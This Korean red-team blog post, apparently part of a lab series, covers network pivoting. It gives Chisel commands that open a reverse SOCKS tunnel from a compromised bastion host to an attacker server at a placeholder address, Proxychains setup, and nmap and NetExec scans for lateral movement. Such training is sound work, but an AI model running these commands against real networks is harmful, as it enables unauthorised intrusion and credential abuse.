hhkb.dev

BLOG

2025-12-24 / 레드팀풀체인 · 03

내부망 이동

1. 피벗팅(Pivoting) 개요

피벗팅은 이미 장악한 시스템, 예를 들어 Bastion Host를 거점으로 삼아 직접 닿을 수 없는 내부 네트워크까지 공격 범위를 넓히는 기술이다.

  • 필요성: 외부에서는 내부망 Private IP(예: 10.x.x.x, 192.168.x.x)에 직접 접속할 수 없다.
  • 핵심 원리: 외부와 연결된 감염 시스템을 통해 트래픽을 중계(Relay)해야 한다.
  • 주요 기법: 포트 포워딩(Port Forwarding), SOCKS 프록시, VPN 터널링

2. 터널링 도구: Chisel

Chisel은 HTTP, HTTPS 기반의 단일 실행 파일 형태 TCP, UDP 터널링 도구다. 방화벽 우회에 강하고, Go로 작성돼 여러 OS에서 쓰기 쉽다.

2.1. Chisel 구성 요소

구성은 단순하다.

  1. Chisel Server(Attacker): 공격자 시스템에서 실행되며 연결을 기다리거나, Reverse 연결을 받는다.
  2. Chisel Client(Victim): 감염된 내부 시스템(Bastion)에서 실행되며 공격자 서버로 연결을 건다.

2.2. Reverse SOCKS Proxy 설정

가장 흔한 방식은 내부망 Victim이 외부 Attacker로 붙어 터널을 여는 Reverse Connection 구조다.

공격자 설정은 아래와 같다.

# 8000번 포트로 리버스 연결을 대기하는 서버 실행
./chisel server -p 8000 --reverse

피해자, 즉 Bastion Host 쪽 설정은 아래와 같다.

# 공격자(1.2.3.4:8000)에게 연결하고, 로컬 포트를 SOCKS 프록시로 매핑
# R:socks => 원격(Attacker)의 1080 포트를 SOCKS5 프록시로 사용
./chisel client 1.2.3.4:8000 R:socks

이 설정이 완료되면, 공격자 PC의 1080 포트는 피해자 PC를 거쳐 내부망으로 나가는 게이트웨이 역할을 하게 된다.

3. Proxychains를 이용한 도구 연동

설정된 SOCKS 프록시를 통해 칼리 리눅스(Kali Linux)의 공격 도구들(Nmap, NetExec 등)이 내부망과 통신하도록 해준다.

3.1. Proxychains 설정

/etc/proxychains4.conf 파일 수정:

[ProxyList]
socks5  127.0.0.1 1080

3.2. 내부 정찰 및 측면 이동(Lateral Movement)

Proxychains를 붙여 실행하면, 트래픽이 Chisel 터널을 타고 내부망으로 들어간다.

# 내부망(172.16.1.0/24) 스캔
proxychains nmap -sT -Pn -p 445 172.16.1.0/24

# NetExec을 이용한 내부망 SMB 스캔 및 계정 정보 확인
proxychains netexec smb 172.16.1.10 -u 'user' -p 'password' --shares

4. 실습 시나리오: 내부망 장악

실습 흐름은 아래 순서로 정리할 수 있다.

  1. SSM으로 Bastion을 장악한다. 초기 침투 단계에서 확보한 쉘을 이용해 Chisel Client를 올리고 실행한다.
  2. 터널링 연결을 만든다. 공격자 서버와 연결되면 SOCKS 프록시가 활성화된다.
  3. 내부 AD를 정찰한다. 172.16.1.x 대역을 스캔해 도메인 컨트롤러(DC)와 다른 서버를 찾는다.
  4. 측면 이동(Lateral Movement)을 시도한다.
    • 덤프한 해시나 자격 증명으로 JumpHost 같은 다른 내부 서버로 이동한다.
    • 예: mark-shawn 사용자의 자격 증명으로 로컬 관리자 권한을 노린다.